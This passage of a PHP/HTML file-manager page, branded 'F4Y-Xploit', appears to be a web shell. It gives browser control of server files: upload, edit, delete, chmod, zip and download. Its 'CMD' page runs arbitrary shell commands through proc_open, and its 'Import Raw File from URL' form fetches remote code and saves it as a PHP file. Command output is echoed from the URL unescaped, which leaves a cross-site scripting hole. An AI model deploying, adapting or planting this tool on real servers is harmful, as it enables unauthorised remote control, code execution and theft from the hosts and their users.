[data-bs-theme="light"] .table tbody tr.active-row {
    background-color: #e2e6ea; /* Warna abu-abu terang */
}

[data-bs-theme="dark"] .table tbody tr.active-row {
    background-color: #343a40; /* Warna abu-abu gelap */
}

/* Hover effect: Slightly darken or lighten on hover */
.table tbody tr:hover {
    filter: brightness(0.9); /* Darken for light theme, slightly darken for dark theme */
    transition: background-color 0.1s ease-in-out; /* Smooth transition */
}

/* If the row is also active, maintain its background but still apply hover brightness */
.table tbody tr.active-row:hover {
    filter: brightness(0.8); /* Slightly more pronounced darken for active row on hover */
}

/* Custom styles for uniform button appearance and spacing */
.navbar-nav .nav-item {
    margin-right: 5px; /* Adjust spacing between buttons */
}

.navbar-nav .nav-item .btn {
    background-color: rgba(108, 117, 125, 0.7); /* Slightly transparent gray */
    border-color: rgba(108, 117, 125, 0.9);
    color: #fff; /* White text for better contrast */
    padding: .5rem .75rem; /* Adjust padding for better look */
    display: flex;
    align-items: center;
    justify-content: center;
    min-width: unset; /* Remove min-width to let content dictate width, or set a small fixed one */
    width: auto; /* Ensure button width adapts to content */
}

.navbar-nav .nav-item .btn:hover,
.navbar-nav .nav-item .btn:focus,
.navbar-nav .nav-item .btn:active {
    background-color: rgba(108, 117, 125, 0.9); /* Darker gray on hover/focus/active */
    border-color: rgba(108, 117, 125, 1);
    box-shadow: none; /* Remove default focus outline */
}

/* Specific overrides for button colors if needed, but the above general class will apply */
/* Example: if you wanted specific colors to persist for 'success' or 'info' buttons,
   you'd need to re-apply them after the .btn override or be more specific.
   For this request, we want uniform grey. */
.navbar-nav .nav-item .btn.btn-success,
.navbar-nav .nav-item .btn.btn-primary,
.navbar-nav .nav-item .btn.btn-info,
.navbar-nav .nav-item .btn.btn-warning {
    background-color: rgba(108, 117, 125, 0.7) !important;
    border-color: rgba(108, 117, 125, 0.9) !important;
    color: #fff !important;
}

.navbar-nav .nav-item .btn.btn-success:hover,
.navbar-nav .nav-item .btn.btn-primary:hover,
.navbar-nav .nav-item .btn.btn-info:hover,
.navbar-nav .nav-item .btn.btn-warning:hover {
    background-color: rgba(108, 117, 125, 0.9) !important;
    border-color: rgba(108, 117, 125, 1) !important;
}

.navbar-nav .nav-item .btn.nav-link {
    display: inline-flex; /* Use inline-flex for proper spacing with text */
    align-items: center;
    justify-content: flex-start; /* Align text to start */
    padding-right: 15px; /* Add some padding to the right for text */
}

.navbar-nav .nav-item .btn i {
    margin-right: 8px; /* More space between icon and text */
}
</style>
<script>
function toggleTheme() {
    const html = document.documentElement;
    const theme = html.dataset.bsTheme === 'dark' ? 'light' : 'dark';
    html.setAttribute('data-bs-theme', theme);
    document.cookie = 'theme=' + theme + '; path=/; max-age=31536000';
}
window.onload = () => {
    const html = document.documentElement;
    const m = document.cookie.match(/theme=(dark|light)/);
    // Set theme based on cookie, default to 'dark' if no cookie
    if (m) {
        html.setAttribute('data-bs-theme', m[1]);
    } else {
        html.setAttribute('data-bs-theme', 'dark'); // Default to dark
    }
    
    const renameModalElement = document.getElementById('renameModal');
    if (renameModalElement && renameModalElement.dataset.show === 'true') {
        const renameModal = new bootstrap.Modal(renameModalElement);
        renameModal.show();
    }

    const checkboxes = document.querySelectorAll('input[name=\"selected_items[]\"]');
    checkboxes.forEach(checkbox => {
        checkbox.addEventListener('change', updateBatchActionsVisibility);
    });
    updateBatchActionsVisibility();

    const tableRows = document.querySelectorAll('.table tbody tr');
    tableRows.forEach(row => {
        row.addEventListener('click', function(event) {
            // Hindari klik pada checkbox, tautan, tombol, atau sel yang berisi checkbox agar tidak menghilangkan highlight
            // Check if the clicked element or any of its parents (up to <td>) is an interactive element
            let target = event.target;
            while(target !== this && target !== null) {
                if (target.type === 'checkbox' || target.tagName === 'A' || target.tagName === 'BUTTON') {
                    return; // Don't highlight the row if an interactive element within it was clicked
                }
                target = target.parentElement;
            }

            // Hapus kelas 'active-row' dari semua baris
            tableRows.forEach(r => r.classList.remove('active-row'));
            // Tambahkan kelas 'active-row' ke baris yang sedang diklik
            this.classList.add('active-row');
        });
    });
};

function confirmAction(action) {
    if (action === 'delete') {
        return confirm('Anda yakin ingin menghapus item yang dipilih? Aksi ini tidak dapat dibatalkan.');
    } else if (action === 'zip') {
        return confirm('Anda yakin ingin mengarsipkan item yang dipilih?');
    } else if (action === 'copy') {
        return confirm('Anda yakin ingin menyalin item yang dipilih ke clipboard?');
    } else if (action === 'cut') {
        return confirm('Anda yakin ingin memotong item yang dipilih ke clipboard?');
    }
    return true;
}

function toggleAll(source) {
    checkboxes = document.querySelectorAll('input[name=\"selected_items[]\"]');
    for(var i=0, n=checkboxes.length;i<n;i++) {
        checkboxes[i].checked = source.checked;
    }
    updateBatchActionsVisibility();
}

function updateBatchActionsVisibility() {
    const selectedCheckboxes = document.querySelectorAll('input[name=\"selected_items[]\"]:checked');
    const batchActionsContainer = document.getElementById('batchActionsContainer');
    if (selectedCheckboxes.length > 0) {
        batchActionsContainer.style.display = 'flex';
    } else {
        batchActionsContainer.style.display = 'none';
    }
}

function showRenameModal(oldPath, currentName) {
    document.getElementById('renameOldPath').value = oldPath;
    document.getElementById('renameNewName').value = currentName;
    const renameModal = new bootstrap.Modal(document.getElementById('renameModal'));
    renameModal.show();
}

function showChmodModal(itemPath, currentPermsOctal) {
    document.getElementById('chmodPath').value = itemPath;
    document.getElementById('chmodOctal').value = currentPermsOctal;

    const ownerPerms = parseInt(currentPermsOctal[1]);
    const groupPerms = parseInt(currentPermsOctal[2]);
    const othersPerms = parseInt(currentPermsOctal[3]);

    document.getElementById('owner_read').checked = (ownerPerms & 4);
    document.getElementById('owner_write').checked = (ownerPerms & 2);
    document.getElementById('owner_execute').checked = (ownerPerms & 1);

    document.getElementById('group_read').checked = (groupPerms & 4);
    document.getElementById('group_write').checked = (groupPerms & 2);
    document.getElementById('group_execute').checked = (groupPerms & 1);

    document.getElementById('others_read').checked = (othersPerms & 4);
    document.getElementById('others_write').checked = (othersPerms & 2);
    document.getElementById('others_execute').checked = (othersPerms & 1);

    updateOctalFromCheckboxes();

    const chmodModal = new bootstrap.Modal(document.getElementById('chmodModal'));
    chmodModal.show();
}

function updateOctalFromCheckboxes() {
    let owner = 0;
    if (document.getElementById('owner_read').checked) owner += 4;
    if (document.getElementById('owner_write').checked) owner += 2;
    if (document.getElementById('owner_execute').checked) owner += 1;

    let group = 0;
    if (document.getElementById('group_read').checked) group += 4;
    if (document.getElementById('group_write').checked) group += 2;
    if (document.getElementById('group_execute').checked) group += 1;

    let others = 0;
    if (document.getElementById('others_read').checked) others += 4;
    if (document.getElementById('others_write').checked) others += 2;
    if (document.getElementById('others_execute').checked) others += 1;

    document.getElementById('chmodOctal').value = '0' + owner.toString() + group.toString() + others.toString();
}

document.addEventListener('DOMContentLoaded', function() {
    const chmodCheckboxes = document.querySelectorAll('#chmodModal input[type=\"checkbox\"]');
    chmodCheckboxes.forEach(checkbox => {
        checkbox.addEventListener('change', updateOctalFromCheckboxes);
    });
});

function clearCmdOutput() {
    window.location.href = "?action=cmd&d=" + encodeURIComponent("<?php echo $cwd; ?>");
}
</script>
</head>
<body class='p-4'>

<nav class="navbar navbar-expand-lg navbar-dark bg-dark">
  <div class="container-fluid">
    <a class="navbar-brand" href="?d=<?php echo urlencode($cwd); ?>">File Manager</a>
    <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
      <span class="navbar-toggler-icon"></span>
    </button>
    <div class="collapse navbar-collapse" id="navbarNav">
      <ul class="navbar-nav me-auto mb-2 mb-lg-0">
        <li class="nav-item">
             <a class="btn btn-secondary nav-link" href="<?php echo htmlspecialchars($self); ?>"><i class='fa fa-home'></i> Home</a>
        </li>
        <li class="nav-item">
          <button class="btn nav-link" data-bs-toggle="modal" data-bs-target='#createModal'><i class='fa fa-plus'></i> New File/Folder</button>
        </li>
        <li class="nav-item">
          <button class="btn nav-link" data-bs-toggle='modal' data-bs-target='#uploadModal'><i class='fa fa-upload'></i> Upload</button>
        </li>
        <?php if (!empty($clipboard_items)): ?>
        <li class="nav-item">
          <form method='post' class='d-inline-block'>
              <input type='hidden' name='paste_item' value='1'>
              <button type='submit' class='btn nav-link'><i class='fa fa-paste'></i> Paste (<?php echo ($clipboard_type === 'cut' ? 'Cut' : 'Copy') . " " . count($clipboard_items); ?>)</button>
          </form>
        </li>
        <?php endif; ?>
        <li class="nav-item">
          <a href='?action=password&d=<?php echo urlencode($cwd); ?>' class='btn nav-link'><i class='fa fa-lock'></i> Password</a>
        </li>
        <li class="nav-item">
          <a href='?action=info&d=<?php echo urlencode($cwd); ?>' class='btn nav-link'><i class='fa fa-info-circle'></i> Info</a>
        </li>
        <li class="nav-item">
        <?php if (function_exists('proc_open')): ?>
          <a href='?action=cmd&d=<?php echo urlencode($cwd); ?>' class='btn nav-link'><i class='fa fa-terminal'></i> CMD</a>
        <?php else: ?>
          <button class='btn nav-link' disabled title='CMD dinonaktifkan di server ini'><i class='fa fa-terminal'></i> CMD</button>
        <?php endif; ?>
        </li>
      </ul>
      <button onclick='toggleTheme()' class='btn btn-dark'><i class='fa fa-adjust'></i> Theme</button>
    </div>
  </div>
</nav>

<div class="container-fluid pt-3">
<?php if ($msg) echo "<div class='alert alert-info mt-3'>" . $msg . "</div>"; ?>
<?php if (isset($_GET['cmd_output']) && $_GET['action'] === 'cmd'): // Only show cmd_output if on cmd action page ?>
    <div class='alert alert-secondary mt-3'>Output:<br><?php echo urldecode($_GET['cmd_output']); ?></div>
<?php endif; ?>
<br><br>

<div class="table-responsive-custom mb-3">
    <table class='table table-bordered table-sm'>
        <thead>
            <tr>
                <th>
    <i class='fa fa-folder'></i><span style="font-weight: bold;"> <?php echo breadcrumbs($cwd, $self); ?></span>
                </th>
            </tr>
        </thead>
    </table>
</div>


<?php
if (isset($_GET['action'])) {
    // Add margin-top to "Kembali" button
    echo "<a href='?d=" . urlencode($cwd) . "' class='btn btn-sm btn-secondary mb-3 mt-2'><i class='fa fa-arrow-left'></i> Kembali</a>";
    if ($_GET['action'] === 'password') {
        echo "<form method='post' class='mb-3'>
        <label for='setpass' class='form-label'>Set New Password:</label>
        <input type='password' name='setpass' id='setpass' class='form-control mb-2' placeholder='Enter new password'>
        <button class='btn btn-warning'>Simpan Password</button></form>
        <form method='post' class='mt-2'>
        <input type='hidden' name='delpass' value='1'>
        <button class='btn btn-danger'>Hapus Password</button></form>";
    } elseif ($_GET['action'] === 'info') {
        echo '<div class="container">
        <h1 class="mb-3">File Manager - F4Y-Xploit</h1>
        <hr>
        <p><strong>Author:</strong> <span style="color:#0f0">F4Y-Xploit</span></p>
        <p><strong>Contact:</strong> <a href="https://t.me/Fayanzo" target="_blank">Telegram</a></p>
        <p><strong>Tujuan Pembuatan:</strong></p>
        <ul>
            <li>Manajemen file berbasis web tanpa FTP</li>
            <li>Dapat digunakan untuk remote control file di hosting atau VPS</li>
            <li>Dilengkapi fitur upload, edit, rename, hapus, proteksi password, dan theme toggle</li>
        </ul>
        <p class="text-muted">Versi: 1.0 | Update terakhir: Juli 2025</p>
    </div>';

    } elseif ($_GET['action'] === 'cmd') {
        if (!function_exists('proc_open')) {
            echo "<div class='alert alert-warning'>Fungsi eksekusi perintah (CMD) dinonaktifkan di server ini oleh penyedia hosting Anda.</div>";
        }
        echo "<form method='post' class='mt-3'>
        <label for='command_input' class='form-label'>Execute Command:</label>
        <div class='input-group mb-2'>
            <input name='command' id='command_input' placeholder='Enter command' class='form-control'>
            <button type='submit' class='btn btn-primary' name='cmd_exec'>Execute</button>
            <button type='button' class='btn btn-outline-secondary' onclick='clearCmdOutput()'>Clear Output</button>
        </div>
        </form>";

        // Command History
        if (!empty($_SESSION['cmd_history'])) {
            echo "<h6 class='mt-4'>Command History:</h6>
            <div class='list-group mb-3' style='max-height: 200px; overflow-y: auto;'>";
            foreach ($_SESSION['cmd_history'] as $hist_cmd) {
                echo "<a href='#' class='list-group-item list-group-item-action list-group-item-secondary' onclick='document.getElementById(\"command_input\").value = \"" . addslashes($hist_cmd) . "\"; return false;'>" . htmlspecialchars($hist_cmd) . "</a>";
            }
            echo "</div>
            <form method='post'>
                <button type='submit' name='clear_cmd_history' class='btn btn-sm btn-danger' onclick='return confirm(\"Yakin ingin menghapus riwayat perintah?\")'>Clear History</button>
            </form>";
        }

        // NEW: Import Raw File from URL
        echo "<h6 class='mt-4'>📥 Import Raw File from URL:</h6>
        <form method='post' class='mb-3'>
            <label for='url_to_download_raw' class='form-label'>🔗 URL Raw File:</label>
            <input type='url' name='url_to_download_raw' id='url_to_download_raw' placeholder='https://example.com/raw.txt' class='form-control mb-2' required>

            <label for='filename_to_save' class='form-label'>💾 Save As (filename):</label>
            <input type='text' name='filename_to_save' id='filename_to_save' placeholder='hasil.php' class='form-control mb-2' required>

            <button type='submit' class='btn btn-success' name='download_url_and_save'>Download & Save</button>
        </form>";
    }
    echo "</div></body></html>";
    exit;
}
?>

<form method='post' id='batch_form'>
<div class="table-responsive-custom">
<table class='table table-bordered table-sm'><thead>
<tr><th><input type='checkbox' onclick='toggleAll(this)'></th><th>Name</th><th>Size</th><th>Last Modified</th><th>Perms</th><th>Actions</th></tr></thead><tbody>
<?php
foreach (list_dir($cwd) as $i) {
    $n = htmlspecialchars($i['name']);
    $p = htmlspecialchars($i['path']);
    $encoded_p = urlencode($i['path']);
    // perms_to_octal also needs realpath or a path that fileperms can resolve
    $file_perms_octal = perms_to_octal(@fileperms($i['path'])); // Use @ for fileperms as it can fail

    $row_class = '';
    if (in_array(realpath($i['path']), $clipboard_items)) {
        $row_class = 'clipboard-' . $clipboard_type;
    }

    echo "<tr class='" . $row_class . "'>";
    echo "<td><input type='checkbox' name='selected_items[]' value='" . $encoded_p . "'></td>";
    echo "<td>" . ($i['is_dir'] ? "<a href='?d=" . $encoded_p . "'><i class='fa fa-folder-o'></i> $n</a>" : "<i class='fa fa-file-o'></i> $n") . "</td>";
    echo "<td>" . formatSize($i['size']) . "</td>";
    echo "<td>" . date('Y-m-d H:i', $i['mtime']) . "</td>";
    echo "<td>" . perms($i['path']) . " ($file_perms_octal)</td>";
    echo "<td class='d-flex flex-wrap gap-1'>"
    . (!$i['is_dir'] ? "<a href='?edit=" . $encoded_p . "&d=" . urlencode($cwd) . "' class='btn btn-sm btn-warning'><i class='fa fa-edit'></i></a>" : "")
    . (!$i['is_dir'] ? "<a href='?download=" . $encoded_p . "&d=" . urlencode($cwd) . "' class='btn btn-sm btn-success'><i class='fa fa-download'></i></a>" : "") // New download button
    . "<button type='button' class='btn btn-sm btn-secondary' onclick='showRenameModal(\"" . $encoded_p . "\", \"" . $n . "\")'><i class='fa fa-pencil'></i></button>"
    . "<button type='button' class='btn btn-sm btn-dark' onclick='showChmodModal(\"" . $encoded_p . "\", \"" . $file_perms_octal . "\")'><i class='fa fa-key'></i></button>"
    . "<a href='?delete=" . $encoded_p . "&d=" . urlencode($cwd) . "' class='btn btn-sm btn-danger' onclick='return confirm(\"Yakin ingin menghapus " . ($i['is_dir'] ? "folder ini beserta isinya" : "file ini") . "?\")'><i class='fa fa-trash-o'></i></a>"
    . (preg_match('/\.(zip)$/i', $n) && !$i['is_dir'] ? "<a href='?unzip=" . $encoded_p . "&d=" . urlencode($cwd) . "' class='btn btn-sm btn-info' onclick='return confirm(\"Yakin ingin mengekstrak file ini?\")'><i class='fa fa-file-archive-o'></i></a>" : "")
    . "</td></tr>";

}
?>
</tbody></table>
</div>

<div class='mb-3 d-flex gap-2' id='batchActionsContainer'>
    <select name='batch_action' class='form-select' style='width:auto;'>
        <option value='delete'>Delete</option>
        <option value='zip'>Zip</option>
        <option value='copy'>Copy</option>
        <option value='cut'>Cut</option>
    </select>
    <button type='submit' class='btn btn-primary' onclick='return confirmAction(this.form.batch_action.value);'>Executed</button>
</div>
</form>

<div class="modal fade" id="uploadModal" tabindex="-1" aria-labelledby="uploadModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="uploadModalLabel">Upload File</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <form method="post" enctype="multipart/form-data">
        <div class="modal-body">
          <input type="file" name="uploadfile" class="form-control">
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
          <button type="submit" class="btn btn-primary" name="uploadfile">Upload</button>
        </div>
      </form>
    </div>
  </div>
</div>

<div class="modal fade" id="createModal" tabindex="-1" aria-labelledby="createModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="createModalLabel">Create New</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <div class="modal-body">
        <h6><i class='fa fa-file-code-o'></i> Create New File</h6>
        <form method="post" class="mb-4">
          <input name="newfile" placeholder="File Name (e.g., index.php)" class="form-control mb-2" required>
          <textarea name="filedata" class="form-control mb-2" placeholder="File Content (optional)" rows="5"></textarea>
          <button type="submit" class="btn btn-success">Create File</button>
        </form>

        <hr>

        <h6><i class='fa fa-folder-open-o'></i> Create New Folder</h6>
        <form method="post">
          <input name="newfolder" placeholder="Folder Name (e.g., my_new_dir)" class="form-control mb-2" required>
          <button type="submit" class="btn btn-success">Create Folder</button>
        </form>
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
      </div>
    </div>
  </div>
</div>

<div class="modal fade" id="renameModal" tabindex="-1" aria-labelledby="renameModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="renameModalLabel">Rename Item</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <form method="post">
        <div class="modal-body">
          <input type="hidden" name="old_path_rename" id="renameOldPath">
          <div class="mb-3">
            <label for="renameNewName" class="form-label">New Name:</label>
            <input type="text" name="new_name" id="renameNewName" class="form-control" required>
          </div>
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
          <button type="submit" class="btn btn-primary" name="rename_submit">Rename</button>
        </div>
      </form>
    </div>
  </div>
</div>

<div class="modal fade" id="chmodModal" tabindex="-1" aria-labelledby="chmodModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="chmodModalLabel">Change Permissions (CHMOD)</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <form method="post">
        <div class="modal-body">
          <input type="hidden" name="chmod_path" id="chmodPath">
          <div class="mb-3">
            <label for="chmodOctal" class="form-label">Octal Permissions:</label>
            <input type="text" name="chmod_octal" id="chmodOctal" class="form-control" pattern="[0-7]{3,4}" title="Use 3 or 4 octal digits (e.g., 0755)" required>
            <small class="form-text text-muted">Example: 755 (rwxr-xr-x), 644 (rw-r--r--)</small>
          </div>
          <div class="mb-3">
            <h6>Symbolic Permissions:</h6>
            <div class="row">
              <div class="col-4">
                <strong>Owner</strong><br>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="owner_read">
                  <label class="form-check-label" for="owner_read">Read</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="owner_write">
                  <label class="form-check-label" for="owner_write">Write</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="owner_execute">
                  <label class="form-check-label" for="owner_execute">Execute</label>
                </div>
              </div>
              <div class="col-4">
                <strong>Group</strong><br>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="group_read">
                  <label class="form-check-label" for="group_read">Read</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="group_write">
                  <label class="form-check-label" for="group_write">Write</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="group_execute">
                  <label class="form-check-label" for="group_execute">Execute</label>
                </div>
              </div>
              <div class="col-4">
                <strong>Others</strong><br>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="others_read">
                  <label class="form-check-label" for="others_read">Read</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="others_write">
                  <label class="form-check-label" for="others_write">Write</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="others_execute">
                  <label class="form-check-label" for="others_execute">Execute</label>
                </div>
              </div>
            </div>
          </div>
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
          <button type="submit" class="btn btn-primary" name="set_chmod">Apply CHMOD</button>
        </div>
      </form>
    </div>
  </div>
</div>

</body>
</html>